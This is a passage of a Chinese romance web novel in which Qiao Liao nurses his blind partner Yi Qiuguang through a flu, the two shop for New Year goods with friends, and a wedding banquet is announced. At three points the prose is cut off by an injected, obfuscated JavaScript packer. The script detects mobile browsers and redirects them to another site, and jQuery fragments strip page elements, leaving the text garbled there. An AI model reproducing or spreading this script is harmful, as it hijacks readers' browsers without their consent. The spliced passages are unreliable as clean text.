易秋光的电话也在这个时候打完了,他收起手机,往乔辽那边走。 “我已经吃过了,”易秋光说,“没出门,我是点的外卖,外卖到的时候,正好你点的外卖也一起到了,我就都拿回来了,该放冰箱的食材已经放进去了,剩下的我放在厨房了。” “你真好,”乔辽坐到餐桌前,先插上吸管喝了一口豆浆,“你怎么醒这么早,睡好了吗?” “当然啊,我不仅睡好了,还退烧了,”易秋光走到餐桌前,接着用双手撑住桌面,低头对他说道,“你摸摸看。” 乔辽伸手摸了摸,确实是退烧了,他捏了捏易秋光的脸,又问道:“是同事打的电话?” “是林再川,”易秋光说完又顿了顿,“他问我什么时候回工作室,我说我明天就回。” 乔辽刚掰开一次性筷子,面都还没来得及喂进嘴里,听见易秋光这么说,他连忙又把筷子放下,说道:“要不再休息两天……等彻底好了再去,而且你还要继续输液的,要连着打三天针。” “非要去吗?”听易秋光的语气,这人是打算不去了。 “流感会复烧的,你也知道生病会不舒服,对不对,要听话啊秋光,我们吃完午饭休息会儿就去医院打针,”乔辽顿了顿,又说,“明天还是别去了,就在家里休息。” “不行啊,”易秋光叹出一口气,直起身子后,走到乔辽面前,跨坐在这人身上,搂着他的腰,把脑袋往乔辽肩膀上一靠,“工作好多啊,根本忙不完,三季老师好累啊。” 乔辽拍了拍他的后背,易秋光又来了一句:“啊——好累啊,累啊,啊。” “三季老师好厉害,说话还有回音,”乔辽摸了摸他的头发,轻声说道,“你如果非要明天去工作室,那我们就早点起来,去医院打针,我到时候定个闹钟叫你起床,打完针后,我再陪你去工作室,我要盯着你喝药。” “同事会笑我吧……”易秋光突然夹起嗓子,“哎哟三季老师喝药还要人盯着啊,哎哟真是难得一见啊。” “让他们说去呗,我帮你把耳朵捂上就听不见了,”乔辽说,“要不然我不放心啊……看着你喝完药我也不走了,就在工作室陪着你,不会打扰你工作的,我就在休息室待着,保证乖乖的。” “算了吧,我忙起来没空搭理你,”易秋光还是叹气,“你回家等我就行,困了就睡,我估计后面几天都要加班,也有可能在大半夜突然就被叫去工作室……这种事情还挺多的,三季老师好累啊,三季老师随时都有可能加班。” “加班就带上我,”乔辽说,“我也要赶稿子,番外还没写,新文也没影子,故听老师还要努力啊,你带着我一起去加班,我正好努力一把。” “到时候再说吧,我还是喜欢你在家里等我,”易秋光捏了捏他的腰,“快吃啊,你要是再不吃,面就要坨了。” 现在这种姿势,乔辽根本就不知道应该怎么吃面,他挺怕把面汤溅到易秋光身上的…… 但他确实是饿得不行,面也确实快坨了。 让易秋光先别抱着自己这件事,乔辽办不到。 但要是让他别吃面,乔辽更办不到。 太饿了,纯饿。 乔辽拿起筷子,挑起一筷子面喂进嘴里,面汤也十分丝滑地溅到易秋光衣服上。 现在的乔辽完全不敢吱声,他满脑都是等会儿洗衣服的流程,先手搓再机洗,洗不干净就用力搓,这世界上就没有他洗不干净的衣服! 一碗面吃完,乔辽总算是没那么饿了,他拿着豆浆慢慢喝,易秋光靠在他肩膀上问道:“再过几天就要过年了,你今年想怎么过?” “和你过,”乔辽顿了顿又说,“还是说,你想回洪城一趟,但我怕你老师不想看见我,两年前,我们约好一起去江城的那天,你满手都是血地回到福利院……老师肯定担心得不行。” “放心吧,老师从没说过不想见到你这种话,”易秋光又在他腰上捏了一下,站起身说,“老师现在是年纪大了,但人还聪明着呢,我那个时候手上都是血,老师也没说给我拿点药擦擦,肯定是看出点什么了……我这几年也忙得不行,每年都是打电话给老师,没回过洪城,没办法,工作太忙了。” 乔辽也站了起来,他一边收拾桌面,一边说道:“那就回去一趟,你今年工作忙吗?” “我刚刚说过多少次了,”易秋光抬手在乔辽身上打了一下,“三季老师很忙的!我今年还是打电话吧,等有空了再回洪城好好待两天。” “好,听你的。”乔辽说完这句又进了厨房。 他看见厨房台面上有一座用食材堆成的小山……也不知道易秋光是怎么办到的,能把这些食材一个接一个地摞在一起,还能不倒。 然后,他又去看了眼冰箱,嗯,冰箱里面也有一座小山。 秋光真是好可爱啊,好喜欢秋光,想亲。 “你中午想吃什么,”乔辽走到他身边,抱着这人亲上一口,又把那些食材报了一遍,“辣的不能吃,还是要先吃点清淡的。” “你做什么我就吃什么,”易秋光笑着说,“别忘了啊,你还在追我呢,好好表现。” 乔辽当然不会忘,追易秋光嘛……原来追人的时候还可以亲亲的吗,那他真的很好命了。 中午那顿饭,乔辽简直是超常发挥,就是饭煮得太多,两个人一人吃两碗,锅里的饭还有一大半。 做的那些菜也剩了不少,易秋光吃饱了都不想说话,他就跟浑身没力气了一样,直接往乔辽腿上一躺,说道:“好饱,我晚上不想吃了。” “晚上的事晚上再说,”乔辽摸了摸他的头发,说道,“歇会儿了喝药,然后睡个午觉,醒了就去医院打针,回来后吃晚饭,然后洗澡睡觉。” “你还安排得挺好,但我不听你的,我不想睡觉,”易秋光抬手摸了摸乔辽侧腰,又轻轻捏上一下,“我想出去逛逛,趁今天有空,我们去买点年货回来。” “嗯……等一下啊,”乔辽说完这句,就低下脑袋和他碰了碰额头,“行,额头不烫,可以去,但要多穿点,把口罩戴上。” “不戴,戴上口罩你就听不清我说话了,”易秋光伸出食指摆了摆,“我不戴。” 乔辽握住他的食指,轻轻捏了捏:“那怎么办呢……那就不去了吧。” “那我就生气了,我要开始闹了,”易秋光深吸一口气,说道,“我戴口罩,现在行了没?” “好,”乔辽在他额头上亲了亲,“等你打完针,我们就去买年货。” 易秋光满意地“嗯”了声,起身和乔辽一起收拾碗筷,他们在家里休息了一会儿,到了喝药的时候,易秋光又开始磨磨唧唧的。 在身体不舒服的时候,易秋光喝药还是挺主动的,但在身体好点之后,只要一碰上喝药,他就会开始耍赖。 如果是胶囊,他就会把药握在手里,半天不喂进嘴里,如果是冲剂,这人就会剩下一点不喝。 乔辽不说,易秋光就当不知道。 乔辽说了,他就会来上一句:“不知道啊,我以为喝完了。” 算了,秋光挺可爱的。 但是,最后一口药还是要喝的。 乔辽选择直接往易秋光嘴里灌,易秋光选择接受,并送上他爱的抚摸。 被打之后的乔辽还挺高兴的,他说:“谢谢你又奖励我。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140591|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 易秋光彻底无奈了,他冲乔辽勾勾手,让这人和他一起去卧室换衣服,换好衣服后,易秋光拿上盲杖往门口一指:“去医院打针,然后去买年货。” “稍等一下。”乔辽连忙拿上易秋光换下来的衣服,放进阳台洗衣池里,接着就拿上洗衣液,开始往那些溅上面汤的地方倒。 他做这件事的动静不大,但挺心虚的,易秋光站在门口喊了声“乔辽”,接着问他:“你在干什么?” 终于,所有溅上面汤的地方都被倒上了洗衣液,剩下的,就是等他回来用力手搓了。 “没干什么啊,”乔辽洗了洗手,走到客厅看着这人,随后笑着问他:“你是不是忘了什么?” “没忘,”易秋光回答得非常果断,接着这人又问道,“你到底在干什么?” 乔辽盯着这人,快速说了一句:“我吃面的时候把汤溅你衣服上了我不敢说我怕你说我但你既然已经发现了那我就说了行了别犹豫了奖励我吧。” 一口气说完,不带一点停顿,易秋光听完后站在原地,满脸都写着四个字。 无语死了。 客厅里变得十分沉默,乔辽走到他边上,说道:“你忘记戴口罩了,把口罩戴上吧。” 易秋光说:“我家里没有口罩。” “那我点个外卖买一下,你戴上了再出门,”乔辽拍了拍餐桌边上的椅子,“你过来坐一会儿。” 易秋光站在原地不动,沉默一会儿后说道:“口罩在抽屉里放着,我去拿。” 诶,这不就对了。 乔辽看着这人拿出口罩,准备戴上之前又说:“你要是听不清我说话该怎么办?” “你可以打字给我看,直接发消息也行,我会知道你在说什么的,”乔辽说,“你刚退烧没多久,身体都还没好全,抵抗力不行,外面人又太多了,所以,口罩一定不能摘下来,知道吗?” “知道,话真多。”易秋光说完这句,戴上口罩,打开门往外走。 话很多的乔辽笑着跟上易秋光,他关上门,牵上易秋光的手。 外面有风但不大,天气阴着,雨和雪已经停了,但雪还是没有融化,易秋光走两步就会用盲杖去戳戳那些雪,有时候还会踩到雪上跺跺脚。 去医院这一路,他们走得挺慢的,但易秋光看着很开心,乔辽每次都会跟着他一起笑起来。 快到医院的时候,易秋光拿出手机,打字问他:你到底在笑什么? 乔辽抬手戳了戳他的脸,说道:“我会笑,是因为幸福啊,我真是全宇宙最幸福的人,你快问我为什么不是全世界最幸福的人。” 易秋光乖乖打字问他:你为什么不是全世界幸福的人? “秋光哥哥你好笨啊,”乔辽在他额头亲了一下,笑着说道,“当然是因为宇宙最大啊,宇宙是超级大超级大的。” 听完这个回答,易秋光愣了几秒,最后,乔辽得到了来自秋光的奖励。 爱的一脚。 这一脚踢过去,乔辽老实了,但易秋光心底不对劲了。 就因为乔辽那声“秋光哥哥”。 易秋光还想再听一次,但又不知道该怎么说出来,等着输液的时候,他满脑子都在琢磨这件事,最后,他选择给乔辽发消息。 内容是:你再喊我一次。 喊什么? 乔辽盯着这条消息看了半天,最后凑到易秋光耳边喊了声:“易秋光。” 易秋光沉默了,他深吸口气,摇了摇头。 “秋光。”乔辽又喊了一次。 易秋光继续摇头。 乔辽盯着这人,琢磨好一会儿后,喊了声:“秋光哥哥。” 应该就是一瞬间的事,易秋光感觉自己的耳朵都红了。 “秋光哥哥,你耳朵红了诶,”乔辽捏了捏他的耳垂,“好可爱。” 易秋光低头打字:不想挨打就老实坐好。 “好,”乔辽非常听话,瞬间收回手,“坐好了。” 58. 真好 输液挺无聊的,时间还长,易秋光拿出耳机盒,戴上一只耳机,开始听小说。 乔辽偏头看了眼,看见易秋光手机屏幕上显示的,是自己写的小说。 身边人突然在屏幕上点了点,接着打开聊天软件,给乔辽发了条消息:番外什么时候写? 乔辽想了想,说道:“还不知道写什么,等我想出来就写。” 易秋光抬头朝他的方向望了眼,接着又开始打字:你现在写。 “行。”乔辽说完这话,就开始放空自己。 写什么好呢,番外肯定要写甜蜜的内容,要能让读者一看就觉得,哇这对小情侣真是太幸福啦。 所以,写什么才好呢…… 乔辽憋了半天,憋出一句:“写点日常怎么样,我之前写过两位主角在河边看别人钓鱼,两人对钓鱼还是挺感兴趣的,就是都没试过,要不……就写这个吧。” 易秋光点了点头,接着就朝他比了个大拇指。 “可我也没钓过鱼,”乔辽叹出一口气,“钓鱼怎么写啊。” 易秋光打字给他看:那就去试试啊,尝试一下就会了。 秋光说得很有道理啊,乔辽打开天气预报看了眼,过几天就有个晴天,温度也不错,正好适合钓鱼,就是这大冬天的,到底能不能钓上来鱼……这是个问题。 乔辽也是行动力很强了,决定好这件事后,他立马在网上下单了两把钓鱼竿,各种钓鱼需要的东西也买了不少,最后还买了一个蓝牙感应浮漂,这个浮漂可以给易秋光用,只要有鱼咬钩,手机就会有声音提醒。 真好啊,可以和秋光一起钓鱼了。 乔辽越想越开心,买完后马上美滋滋地给易秋光说:“过几天带你去钓鱼,我已经准备好了。” 易秋光点点头,打字给他看:我要是工作太忙,可能就得改天。 “没事,那就等你有空了再去,”乔辽笑着说,“很快就要升温了,好天气很多,我的时间也很多,只要你有空,我随时都可以。” 听见乔辽这么说,易秋光笑着点了点头。 输液结束后,他们在输液室坐了一会儿,乔辽帮易秋光按着输液贴,确定不会再出血后,他才牵着易秋光走出医院。 乔辽捏了捏易秋光的手,问道:“决定好去哪里买年货了吗?” 身边人摇了摇头。 “你还记不记得,你上次说想吃自助烤肉,那家店开在江边的一个商场里,那个商场挺大的,”乔辽看着易秋光说,“想去吗,想去的话,我就叫个车,但我们今天不吃烤肉,等你彻底好了再去吃。” 易秋光点点头,打字给他看:那你叫车吧。 去商场的这一路上,乔辽的心情很是不错,终于啊,他终于能带着易秋光去那个商场逛一逛了,逛完还能去江边走一走,就是这天总是阴着,乔辽又担心江边会太冷。 这种想法刚出现没多久,车驶过下一个拐弯时,太阳出来了,易秋光偏着头望着窗外,似乎是在感受阳光的暖意。 乔辽抬手揉了揉他的头发,笑着说道:“我们运气真好,天气突然就变好了,我等会儿带你去江边散散步。” 易秋光点了点头,在下车之后,这人打字问他:你以前来过这个商场吗,我感觉你对这儿还挺熟悉的。 “郭宝卓以前带我来过一次,”乔辽说,“那个时候,我就想和你一起来了。” 易秋光笑着抬手,摸索着捏了捏乔辽的脸,接着继续用手机打字:我想买点吃的喝的,然后买些布置家里的东西,布置家里的东西你帮我挑,吃的喝的你别管,我就算现在不能吃,以后好了也能吃。 乔辽当时说了声“好”,他想着,易秋光估计不会买多少,毕竟他平时也没怎么看见易秋光吃零食…… 但这件事,是他想错了。 进了超市之后,易秋光就开始不停打字问乔辽,一会儿问饮料在哪儿,一会儿又问薯片在哪儿,一路问一路拿,看这架势,易秋光过年都不用吃饭了,零食直接成主食。 乔辽捏了捏易秋光的手,问道:“你晚上想吃什么?” 你要是敢说晚上吃零食,那你就完蛋了。 下一秒,易秋光在购物车里摸了摸,拿起一包薯片加一瓶可乐。 我就知道! 乔辽沉默两秒,说道:“晚上在商场随便吃点,零食等回家再吃,这个不能当晚饭。” 乔辽似乎听见易秋光“啧”了声,紧接着,这人打字给他看:家里还有剩菜剩饭,别在外面吃。 “这不是你想吃零食的理由,再说了,剩菜剩饭我吃就行,”乔辽说,“我晚上带你在商场吃点。” 易秋光应该是又“啧”了声,这人表达不满的方式,真是太直接了…… 买完吃的,易秋光又买了一些生活用品,大多数都是给乔辽买的,买东西的半路上,乔辽还偷摸着拿走两袋薯片,放回了货架上。 易秋光突然停下步子,指了指购物车里的东西,摸索着拿起一条毛巾,放下后,他拿出手机打字给乔辽看:我很久以前就想买这些东西了,其实我在以前也买过,那个时候你还是故听。那次你来我家,我就给你用过,你走了之后,那些东西我也没丢,我当时就想着,你下次说不定还会再来的,从那个时候开始,我就开始期待了,现在你终于回来了。 看完这些,乔辽心里挺不是滋味的,他把易秋光往怀里搂了搂,在这人额头上亲了一下。 往收银处走的时候,乔辽把那两袋放回货架的薯片又拿了下来。 算了,拿四袋吧……或者拿五袋? 纠结几秒后,乔辽决定拿六袋。 听见薯片落入购物车的声音,易秋光什么都没问,虽然易秋光戴着口罩,但乔辽总觉得,这人好像在笑。 从超市出来时,这俩人手里一人提着一个最大号的购物袋,他们把东西放到寄存处,继续慢慢逛着。 “你晚上想吃点什么,”乔辽用大拇指按了按易秋光掌心,“零食不行。” 易秋光打字给他看:我不饿。 “你以前答应过我的,说要请我吃两顿饭,现在还差我一顿,”乔辽现在也没有别的办法了,“我会饿的,你带我去吃饭吧,反正我都吃了,你就跟着我一起吃一点。” 易秋光打字给他看:行行行行行行行行。 哎这人…… 乔辽微低下头,牵起易秋光的手,把这手带到唇边,接着就在易秋光手背上落下一吻:“你怎么这么可爱啊。” 下一秒,易秋光快速打字:可爱个屁啊! “就是可爱,”乔辽笑着说,“发脾气也可爱。” 确实很可爱啊。 喝奶茶可爱,吃小吃可爱,喝第二杯奶茶也可爱,吃面包也可爱…… 等等。 易秋光这是压根就不打算吃晚饭吧! 这人估计是吃不下了,吃到一半就把面包递给乔辽,接着低头打字:好吃,你尝尝。 真的是因为好吃才给我尝尝的吗,不是因为吃不下了吗。 乔辽接过面包咬了一口,确实好吃…… 下一秒,易秋光又把手里提着的那杯奶茶递了过去,并打字给他看:你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140592|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也尝尝这个奶茶,挺好喝的,你喝完吧。 “谢谢……”乔辽接过还剩下大半杯的奶茶,“你真不喝了?” 易秋光点头,接着开始打字:不客气,给你喝,都是你的。 秋光真好。 乔辽好撑。 他把手里的面包袋子和空奶茶瓶丢进垃圾桶,接着就抬头往楼上看了眼。 “我们去买衣服吧,过年嘛,还是要穿新衣服的,”乔辽说,“现在也有春款出来,正好也能一起买了,我都好久没给你买过衣服了,之前你说要到这边来吃自助餐的时候,我就想着要给你买衣服了。” 易秋光打字问他:你想给我买什么样的衣服? “舒服的,好看的,质量好的,”乔辽说,“不过你穿什么都好看,不穿也好看。” 易秋光完全没管乔辽前面说了什么,这人直接打字问他:所以你最喜欢看我什么都不穿? 倒也不是这个意思…… 但确实很好看,嘿嘿。 “都喜欢,”乔辽笑着说,“只要是你,不管是什么样的你,我都会喜欢。” 易秋光在乔辽眼里,就是最好最好的。 最好最好的易秋光穿什么都是好看的,易秋光试一件,乔辽就想给他买一件。 最后,乔辽给自己买了两套新衣服,给易秋光买了五套新衣服。 看着易秋光穿上新衣服是一种享受,乔辽只觉得自己幸福得快要晕过去了,好幸福啊好幸福啊啊好幸福啊啊啊! 大概是他高兴的一直笑,易秋光偏头望向他,打字问道:乐什么呢,疯了啊。 “嗯,”乔辽笑着说,“疯了。” 乔辽脸上的笑就没下来过,这人笑着把刚买的新衣服全都寄存,接着继续牵着易秋光去逛。 易秋光打字给他看:要买对联,买绿植,还要买一些有新年氛围的东西,这几天好好把家里布置一下,都买双份,你家里也要布置。 既然秋光都这么说了,那乔辽肯定就得把这件事办好,经过他的精挑细选,易秋光家和他家,肯定能红红火火一整年。 除了绿植,其他东西全是大红色,一看就喜庆。 买的时候开开心心,买完就不开心了。 东西太多,他们两个人真的弄不回去,除非让易秋光帮忙拿一点,但要是这样,乔辽就没办法牵着秋光了,这附近的人又太多,易秋光要是走着走着碰上什么,乔辽都没办法立马腾出手去拉住他。 所以,他只剩下一种办法了。 给郭宝卓发个消息。 这人比较好使,还能帮忙把他们送到家门口,送到之后还可以帮忙把东西提进家里。 乔辽也是说干就干,他站在寄存柜那里,拿出手机给郭宝卓发了两条消息。 第一条消息是这个商场的定位。 第二条消息内容是:好兄弟,你想不想来商场逛逛啊,逛完了再去江边溜达两圈,顺便送我和我对象回家,东西买太多了回不去,哎你说什么,你问我对象是谁吗,那肯定是易秋光啦,哎呀真是的,你怎么知道易秋光对我可好了,他可喜欢我了,吃什么东西都想着喂我一口,好了不说了,再说下去你该嫉妒我了,你赶紧过来,我好急。 郭宝卓是秒回,这人先是回了一个微笑的表情,然后回了一句:他喂给狗吃也是一样的,狗不会说话,但你会说话,比较有情绪价值。 紧接着,这人又回了第二句:来了,徐颂良也在,他不想逛商场,但想在那边吃饭,你俩老实等着,十几分钟就到,到了之后我请你们吃个饭,吃完再去江边走走。 59. 包间 十几分钟其实过得挺快的,乔辽都感觉自己还没和易秋光聊上几句呢,郭宝卓的消息就发了过来,这人问他们具体位置在哪儿。 乔辽把具体位置发了过去,并拍了一张旁边的寄存柜,后面还跟着一句:我和秋光就在这里站着。 郭宝卓回了个“OK”,几分钟后,这人带着徐颂良过来了。 “郭宝卓和徐颂良过来了,”乔辽带着易秋光转了个方向,“这俩人还穿的情侣装呢。” 易秋光听完后笑了笑,接着就抬起手挥了挥。 “东西呢?”这是郭宝卓走到他们面前时,说出的第一句话。 下一秒,郭宝卓伸出双手,又说道:“给我提着,你俩怎么都弱成这样了,买点东西还弄不回去啊。” “稍等一下。”乔辽说完这句,立马转身去开柜门。 好像是提前过年了,市区也不禁鞭了,柜门啪啪啪地打开,郭宝卓也把手收了回去。 “你俩来商场抢劫啊,”徐颂良看向那些打开的柜门,然后又对着乔辽和易秋光比出一个大拇指,“太厉害了,胆儿真大。” “也还好吧,都别客气,一人提一点。”说完这句,乔辽就开始把东西一个接一个地往外拿。 徐颂良默默帮忙,郭宝卓嘀嘀咕咕地帮忙。 “你俩这是买的什么,怎么全是红的,”郭宝卓提起一大袋东西,往袋子里面看了眼,又说,“你俩办婚宴啊,日子定下了吗,在哪个酒店?” 易秋光笑了起来,这人突然摘下口罩,望向郭宝卓的方向说道:“定下了,乔辽生日那天,在江城大酒店,你到时候记得带着徐颂良一起来啊。” 乔辽都怀疑自己听错了。 他轻拽着易秋光的袖子,晃动两下后,凑到这人耳朵说道:“我还什么都没准备……你怎么不早点告诉我啊。” “你不用准备什么啊,”易秋光笑着说,“我已经准备好了。” “真的啊?”这句话是瞪大眼睛的郭宝卓问的。 “真的假的?”这句话是已经愣住的徐颂良问的。 “真的啊,我定了个大包间,两张桌子,能坐四十个人,包间真的很大,我和乔辽也没这么多朋友,所以啊,你们可以把自己的朋友都带上,工作室的同事我也会带上,”易秋光对着郭宝卓和徐颂良的方向笑了笑,说道,“人多热闹嘛,你们要是想表演个节目什么的,也是可以的,包间里面大的可以翻跟头,连续后空翻也没问题。” 郭宝卓点点头,说道:“行,那我到时候带着徐颂良过来翻跟头。” 刚缓过神的徐颂良也跟着点了点头,接着就从寄存柜里拿出两大袋东西提上,说着:“行,那我到时候和郭宝卓一起来后空翻。” 再然后,没人说话了。 郭宝卓往直梯那边指了一下,接着就和徐颂良先往前面走,乔辽给易秋光戴好口罩,挽着这人的胳膊走在后面。 他们四个人,没有一个人手里是空着的,到达地下停车场时,郭宝卓都有点着急了,这人一边走一边念叨:“下次不能再把车停这么远了。” “我也想买车。”乔辽突然来了这么一句。 “买呗,”郭宝卓回头看了他一眼,“买完了就去报个驾校,然后去测个听力,接着就可以开始看科目一的题目了。” “为什么要买完车再去报驾校,”乔辽问他,“我就不能先报驾校,等考上了再买吗?” “因为你很容易纠结,买车不会太快,”郭宝卓终于带着他们走到车边,这人打开后备厢,把手里提着的东西放了进去,然后又把徐颂良手里的东西一起放进去,“要我说啊,你干脆就从今天开始看车,等你拿到驾照那天,正好去提车。” 乔辽琢磨着郭宝卓的话,觉得这人说得有道理啊,他确实容易纠结……而且买车这件事,还得带着易秋光一起,要是他随便买了一辆,但易秋光坐着觉得膈应呢,那不就完大蛋了嘛。 乔辽把手里的东西放进后备厢,接着又把易秋光手里的东西放了进去,再然后,乔辽对着郭宝卓比出一个大拇指,说道:“还是你有办法。” 听见乔辽这么说,郭宝卓立马变成翘嘴,接着就对身边的徐颂良说道:“看到没,我就是这么有用,我提出的建议永远都实用,你就说我厉不厉害吧。” “厉害,实在是太厉害了,”徐颂良鼓了鼓掌,接着瞥了郭宝卓一眼,“现在能带着我去吃饭了吗?” “能,”郭宝卓牵上徐颂良的手,对着乔辽和易秋光说,“走吧,去吃饭。” 乔辽看了看易秋光,他看见这人先是吞咽一口,接着摸了摸肚子,开口说道:“我——” 我什么? 我不饿,我不想吃,我刚才吃撑了? 不知道了,因为易秋光的话被郭宝卓打断了。 这人摆了摆手,说道:“别你啊我的,我们都多久没在一起吃饭了,徐颂良也不吃正餐,他就喜欢吃个披萨喝点果汁什么的,你就和乔辽一起来呗。” “那行,”易秋光说完这句,又说道,“吃披萨行。” 挺好,反正除了正餐,这人什么都能吃。 去吃披萨的这一路,易秋光一直在打字给乔辽看。 这人一会儿问乔辽:我等会儿能吃个十二寸的吗? 过了一会儿又说:十寸吧,我不太饿。 几秒后,易秋光再次打字:加杯可乐。 乔辽其实是觉得,易秋光不能这么吃,今天杂七杂八的吃了太多,晚上又吃个披萨喝个可乐的,很难说这人晚上回家后,会不会再吃点零食……在这种情况下,易秋光的肠胃真的能受得了吗。 但乔辽又想到,易秋光刚才说,他定了一个能连续后空翻的大包间,是用来办婚宴的,虽说两个男的办婚宴什么的……我愿意!!! 秋光真的太好了,吃点披萨又怎么了,他现在又这么开心,乔辽当然不能扫他的兴。 吃吧,他等会儿和易秋光抢着吃就行,反正不能再让秋光吃太多了……别弄得流感还没好彻底,就又把肠胃给吃坏了。 决定和易秋光抢着吃之后,不管这人再打字说什么,乔辽全都回答:“好。” 终于,他们几个人走到了吃披萨的店里,郭宝卓要了两份菜单,一份给易秋光,另外一份他们三个人看。 易秋光拿到菜单后,立马就拿出手机扒拉两下,接着就把手机对着菜单慢慢移动,他一边听一边跟着念,乔辽就在边上支着个脑袋,看着他笑。 乔辽光顾着笑了,不管易秋光在菜单上指什么,他都说“好”。 点的那些东西被端到桌上时,乔辽才知道自己失算了,这么多吃的,他就算是撑死也吃不完。 这件事也说明了一个道理。 和易秋光相处的时候,还是需要留一点理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140593|196308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 智的。 但好在郭宝卓和徐颂良是真的饿了,这两个人吃完了还没饱,干脆又提议再去商场逛一圈。 易秋光听见后,那是肉眼可见的高兴。 乔辽就知道,那种什么奶茶啊面包啊小吃的路线,又会再走上一次。 但这次,他带上脑子了。 哦不是,他带上理智了! 易秋光估计也是真的吃不下了,整个人都老实不少。 郭宝卓和徐颂良这俩人吃饱后,选择在商场里消消食,乔辽也趁着这个时候,又给易秋光买了几双新鞋,郭宝卓和徐颂良倒是没买什么,但郭宝卓买了两个挺大的红包。 这人说:“等你生日那天给你,我和徐颂良一人给你一个,最好的祝福送给最好的兄弟。” 最后一句……这人怎么还说得有点哽咽呢。 乔辽盯着这人,郭宝卓深吸口气又说道:“太激动了,情绪有些失控,不容易啊你真的不容易,兄弟为你感到高兴。” “想哭就哭,别憋出毛病来了,”徐颂良抬手在郭宝卓后背上拍了拍,“你别憋到晚上躲在被子里哭,哭得被子都得重几斤,压得我晚上直流汗。” 易秋光听见徐颂良这么说,连忙用胳膊肘碰了碰乔辽,然后用手机打字问道:郭宝卓真的哭了吗?他哭起来什么样? “没有,”乔辽凑到易秋光耳边说,“他现在这个表情,看着像是便秘了……” 易秋光是真的笑出声了。 郭宝卓还问乔辽:“易秋光在笑什么?” “不知道,”乔辽说,“我哪知道。” 下一秒,易秋光笑得更厉害了。 他们把买的东西放回车里,接着就去江边散步,这个时间,天也黑了下来,乔辽没能带着易秋光晒太阳,只能带着这人晒月亮了。 他又怕易秋光吹太多风会复烧,最后选择把围巾围在易秋光头上,就跟狼外婆一样。 现在的易秋光不笑了,他走两步就要晃晃脑袋,像是想要把围巾晃悠下来,但又不好意思直接取下来,只能用走一步晃两下的办法,试图让围巾从头上下来。 最终,易秋光办到了。 围巾晃晃悠悠掉下来,这人笑着打字给乔辽看:围巾掉下来了。 掉了就掉了呗,掉了我再围上去就是。 再然后,易秋光又不笑了。 他就这么顶着狼外婆的造型,在江边溜达了一圈,坐到车里准备回家的时候,这人终于能把围巾取下来了。 易秋光把围巾递给乔辽,接着摘下口罩。 “你把我裹得这么严实干什么?”易秋光皱眉问道。 “江边风大,”乔辽说,“我怕你复烧。” 郭宝卓在前面来了一句:“江边风大~” 然后就是徐颂良的声音:“我怕你复烧~” “那你就把我裹成这样啊?”易秋光指着自己的头发说,“你看我头发,是不是乱七八糟的!” “不乱啊,”乔辽说,“挺帅的。” “不乱呀~”郭宝卓夹起嗓子了。 “好帅哦~”徐颂良也夹起来了。 “你听,”乔辽笑着说,“郭宝卓他们也觉得你这样很帅。” 易秋光深吸一口气,接着就抬起手,一巴掌不偏不倚,打上乔辽的脑袋。 乔辽就知道,奖励从不会迟到,只会早到或是晚到。 60. 红包 回家没用多少时间,一路上都是绿灯,到家门口的时候,郭宝卓和徐颂良帮忙把那些大包小包的东西提了进去,全都堆在餐桌上。 易秋光让他们去沙发上坐会儿,郭宝卓拿出手机看了眼时间,说道:“不了,我还得回去办正事,改天再来你这儿坐啊。” 这人说完这句就牵着徐颂良走了,易秋光盯着门口的方向,听见关门声后,问乔辽:“他们有什么正事要办?” “不知道啊,但我知道你现在也有正事要办,”乔辽说,“先喝药,喝完药就去洗澡睡觉。” “东西还没收拾,”易秋光指着桌上那些大包小包,望着乔辽的方向说道,“收完就去洗澡。” “那先喝药,”乔辽说,“我去给你倒水。” “那我先去洗澡了,”易秋光说,“等我洗好再来收,就这样决定了,拜拜。” 乔辽拿着杯子站在原地,看着这人回到卧室,然后抱着家居服走出来,接着打开浴室门,关上浴室门,花洒水声响起。 易秋光到底几岁…… 趁着易秋光洗澡的时候,乔辽把新买的衣服和鞋子全部拿了出来,该洗的就放进洗衣机,然后再把洗衣池里那件被溅上面汤的衣服搓得干干净净,一起放进了洗衣机里,剩下的那些,该放进鞋柜的就放进鞋柜,不用洗的就放进衣柜。 收完这些,桌上也空了不少,紧接着,乔辽就把药拿了出来,就在这个时候,浴室里的水声也停了下来。 易秋光抱着换下来的衣服,刚打开浴室门,立马就听见了乔辽的声音,这人说:“喝药。” 谁家好人追着喂药的啊…… 易秋光闭着嘴,把这人往边上扒拉两下,乔辽连忙又跟上来:“要洗的衣服给我拿着,你把药拿着就行。” 下一秒,乔辽就拿走他怀里的衣服,把药放进他手里。 这人去阳台之前还丢下一句:“喝吧,我等会儿过来看你喝完了没。” 看就看,谁还怕让你看啊。 